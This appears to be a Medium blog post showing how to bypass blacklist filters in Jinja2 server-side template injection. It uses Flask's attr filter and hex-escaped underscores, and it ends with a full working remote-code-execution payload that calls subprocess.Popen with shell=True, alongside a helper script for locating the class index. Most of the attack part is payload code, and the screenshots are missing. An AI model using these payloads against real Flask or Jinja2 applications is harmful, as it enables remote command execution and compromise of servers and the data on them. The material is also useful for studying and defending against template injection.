Jinja2 SSTI filter bypasses

Image for post
Image for post
Photo by Matt Hoffman on Unsplash

as you (should) know — blacklists are bad and can often be circumvented. To check the class in SSTI jinja2 we can use payload {{().__class__}} but how about using underscore if blacklisted?.

Source code for testing:

Image for post
Image for post
  • Bypassing underscore

The first filter looks config and underscores blocked. How do we do template injection without using underscores? we can use the request.args a function that is used to retrieve value injection in different parameters but to do concatenation cannot because the value will change to a string. But there is one interesting function of the flask that is attr we can do concatenation and take values ​​outside the parameters affected by the filter.

Image for post
Image for post
Image for post
Image for post

Voila, we can bypass the underscore.

  • Bypassing underscore,[],request, and |join

Seen in the last filter we can not do anything but as long as attr has not been filtered we can do RCE by replacing underscore with hex \x5f we can escape checking but when rendering \x5f will change to underscore.

Voila bypass was successful after that just search <class ‘subprocess.Popen’> in subclasses, to find out subclasses in the environment we can use {{()|attr(‘\x5f\x5fclass\x5f\x5f’)|attr(‘\x5f\x5fbase\x5f\x5f’)|attr(‘\x5f\x5fsubclasses\x5f\x5f’)()}} to find out the index of subprocess I usually copy all subclasses into txt and do a for loop in python to guess which subprocess are in the index.

with open('lol.txt') as p:
check = p.read()
for index,value in enumerate(check.split(',')):
if "<class 'subprocess.Popen'>" in value:
print(index)

When it starts, subprocess is found in index 287, but the problem is we can’t use []. We can replace the array [] by using the __ getitem __ method.

Image for post
Image for post

Final RCE

{{()|attr(‘\x5f\x5fclass\x5f\x5f’)|attr(‘\x5f\x5fbase\x5f\x5f’)|attr(‘\x5f\x5fsubclasses\x5f\x5f’)()|attr(‘\x5f\x5fgetitem\x5f\x5f’)(287)(‘ls’,shell=True,stdout=-1)|attr(‘communicate’)()|attr(‘\x5f\x5fgetitem\x5f\x5f’)(0)|attr(‘decode’)(‘utf-8’)}}

Image for post
Image for post

Reference:

script kiddie where living in bali

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store